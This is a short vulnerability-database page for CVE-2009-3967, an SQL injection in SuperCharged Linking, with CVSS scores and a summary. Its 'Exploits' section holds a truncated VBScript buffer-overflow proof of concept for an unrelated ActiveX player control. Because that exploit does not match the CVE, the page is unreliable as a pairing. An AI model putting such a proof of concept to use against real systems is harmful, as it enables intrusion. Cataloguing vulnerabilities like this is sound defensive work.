7.5
CVSSv2

CVE-2009-3967

Published: 18/11/2009 Updated: 19/09/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in browse.php in Ed Charkow SuperCharged Linking allows remote malicious users to execute arbitrary SQL commands via the id parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

ed charkow supercharged linking

Exploits

<html> <object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object> <script language = 'vbscript'> ' IE 6 / GDivX Zenith Player AviFixer Class (fixdll v 1001) buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String(264, "A") + EIP + String(9999, unescape("%90")) targ ...